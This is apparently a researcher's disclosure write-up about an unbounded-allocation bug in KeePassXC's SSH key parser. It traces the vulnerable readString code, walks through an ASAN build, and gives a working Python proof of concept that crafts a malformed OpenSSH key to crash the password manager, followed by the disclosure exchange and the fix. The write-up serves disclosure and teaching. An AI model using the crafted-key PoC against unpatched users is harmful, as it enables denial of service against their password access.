Finding Memory Exhaustion in KeePassXC (And Getting Downgraded to a Bug)
Finding Memory Exhaustion in KeePassXC (And Getting Downgraded to a Bug)
TL;DR
I found an unbounded memory allocation bug in KeePassXC’s SSH key parser where importing a crafted key file crashes the entire password manager. Reported it as a security issue, maintainer said “it’s just a bug, not security”. Got credited in the fix anyway. Here’s what happened.
Background
I was looking for C/C++ projects that handle file parsing , classic attack surface for memory bugs. KeePassXC caught my eye: popular password manager (24k+ GitHub stars), written in C++, handles multiple file formats including SSH keys.
Password managers are interesting targets because:
- They handle sensitive data
- File import features = untrusted input
- Crash = user can’t access their passwords
I checked their SECURITY.md first:
“Unauthorized access to sensitive user data (e.g., passwords)” ✓
“Remote code execution or escalation of privileges” ✓
“Crashes or misbehavior resulting from normal use (report this as a normal issue)” ✗
So crashes from “normal use” aren’t security issues. But what about crashes from malicious input? That’s different, right? Let’s find out.
Mapping the Attack Surface
First thing I do with any codebase , figure out what handles external input:
git clone https://github.com/keepassxreboot/keepassxc.git
cd keepassxc
tree -L 2 -d src/
Interesting directories:
src/format/- KDBX database parsingsrc/sshagent/- SSH key handlingsrc/streams/- data stream processingsrc/browser/- browser communication
I picked sshagent/ because SSH keys are commonly shared files. Easy social engineering vector: “hey use this key to access the server”.
Finding the Bug
Started with the smallest file that does actual parsing:
wc -l src/sshagent/*.cpp
BinaryStream.cpp at 198 lines looked promising - low-level binary parsing. Opened it up and found this:
bool BinaryStream::readString(QByteArray& ba)
{
quint32 length;
if (!read(length)) {
return false;
}
ba.resize(length); // <- no validation!
if (!read(ba.data(), ba.length())) {
return false;
}
return true;
}
Wait. It reads a 4-byte length from the file and immediately allocates that much memory. No size check. quint32 means the length can be anywhere from 0 to 4,294,967,295 bytes (4GB).
that’s a solid memory exhaustion vulnerability.
Tracing the Code Path
Found the bug, but where is it actually used? Quick grep:
grep -n "readString" src/sshagent/OpenSSHKey.cpp
315: stream.readString(m_cipherName);
316: stream.readString(m_kdfName);
317: stream.readString(m_kdfOptions);
329: if (!stream.readString(publicKey)) {
343: if (!stream.readString(m_rawData)) {
Five calls to readString() in the OpenSSH key parser. Let me see the context:
if (QString::fromLatin1(magic) != "openssh-key-v1") {
m_error = tr("Key file magic header id invalid");
return false;
}
stream.readString(m_cipherName); // <- can allocate 4GB
stream.readString(m_kdfName); // <- can allocate 4GB
stream.readString(m_kdfOptions); // <- can allocate 4GB
Perfect. User imports SSH key file → parser reads it → readString() tries to allocate gigabytes → crash.
Building with AddressSanitizer
Before writing a PoC, I wanted to build with ASAN to catch the exact moment of failure:
mkdir build && cd build
cmake .. \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DWITH_XC_SSHAGENT=ON
make -j$(nproc)
Build took about 10 minutes. Now for the fun part.
Writing the PoC
OpenSSH key format is straightforward:
- Magic header:
openssh-key-v1\0 - Then length-prefixed strings
I just need to craft a key with an oversized length field:
#!/usr/bin/env python3
import struct
import base64
magic = b"openssh-key-v1\x00"
# Set length to 2GB
malicious_length = 0x7FFFFFFF
cipher_length = struct.pack('>I', malicious_length)
cipher_data = b"A" * 100
data = magic + cipher_length + cipher_data
encoded = base64.b64encode(data).decode()
pem = "-----BEGIN OPENSSH PRIVATE KEY-----\n"
for i in range(0, len(encoded), 64):
pem += encoded[i:i+64] + "\n"
pem += "-----END OPENSSH PRIVATE KEY-----\n"
with open("malicious_key.pem", "w") as f:
f.write(pem)
print("[+] created malicious_key.pem with 2GB allocation trigger")
233 bytes. That’s all it takes to crash a password manager.
Testing
Ran KeePassXC with ASAN, created a new database, went to SSH Agent settings, imported the malicious key:
==1526246==ERROR: AddressSanitizer: requested allocation size 0xffffffffffffffff
(0x800 after adjustments for alignment, red zones etc.) exceeds maximum
supported size of 0x10000000000 (thread T0)
#0 0x7ff82b31a0ab in malloc
#1 0x7ff8292ea571 in QArrayData::allocate
SUMMARY: AddressSanitizer: allocation-size-too-big
==1526246==ABORTING
Boom. ASAN caught the allocation attempt and killed the process. Without ASAN, this would be an OOM crash or system freeze.
Reporting
I submitted through GitHub Security Advisory since their SECURITY.md specifically mentions it. Included:
- Vulnerable code location
- PoC script
- ASAN output
- CVSS score (5.5 Medium)
The maintainer responded the same day:
“This doesn’t appear to be a security vulnerability at this point. Do you agree?”
My argument was: for a password manager, DoS = user can’t access any passwords. Plus SSH keys get shared in teams, social engineering is realistic.
His counter: no data leak, no RCE, user can just restart. The “A” in CIA isn’t enough when C and I aren’t affected.
We went back and forth a bit. I mentioned responsible disclosure timing , posting a public PoC before a fix could be abused. He responded:
“There is a near-zero chance of that happening. This is very much a non-issue in actual practice.”
The Fix
Despite disagreeing on classification, he fixed it within hours. PR #12606 added a 10MB size limit:
if (length > MAX_STRING_SIZE) {
return false;
}
ba.resize(length);
Simple fix. Should have been there from the start.
I got credited in the PR description: “Reported by @Oblivionsage - thank you!”
My Thoughts
Look, I get both sides:
From my perspective:
- Password manager crash = can’t access credentials
- Realistic attack vector (shared SSH keys)
- CWE-770 is a real vulnerability class
From maintainer perspective:
- No data compromise
- Requires user interaction
- Just restart the app
He knows his project better than me. And honestly? He handled it professionally - fixed it fast, gave credit, explained his reasoning. Can’t ask for more than that.
The takeaway: not every bug is a CVE. But even without the security label, contributing to open source security feels good. The code is better now.
Lessons Learned
ASAN is essential - Without it, I’d just see “app crashed”. With it, I got exact allocation size and stack trace.
Read SECURITY.md first - Saves drama during disclosure. Know what they consider “security” before reporting.
Maintainers have context you don’t - They know their threat model, their users, their priorities.
File parsers are goldmines - Size fields, length calculations, buffer allocations. Same patterns, same bugs, different codebases.
Credit matters more than CVEs - PR #12606 with my name on it is more valuable than arguing over classification.
Timeline:
- October 27, 2025: Discovered vulnerability
- October 27, 2025: Reported via GitHub Security Advisory
- October 27, 2025: Maintainer response - “not a security issue”
- October 28, 2025: PR #12606 opened with fix
- October 28, 2025: Advisory closed
- October 28, 2025: Public disclosure (fix already merged)
Affected versions: <= 2.7.10
Fixed in: PR #12606
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)
Want to find similar bugs? Pick any C++ project that parses files, grep for allocation functions, check what controls the size parameter. You’ll find something.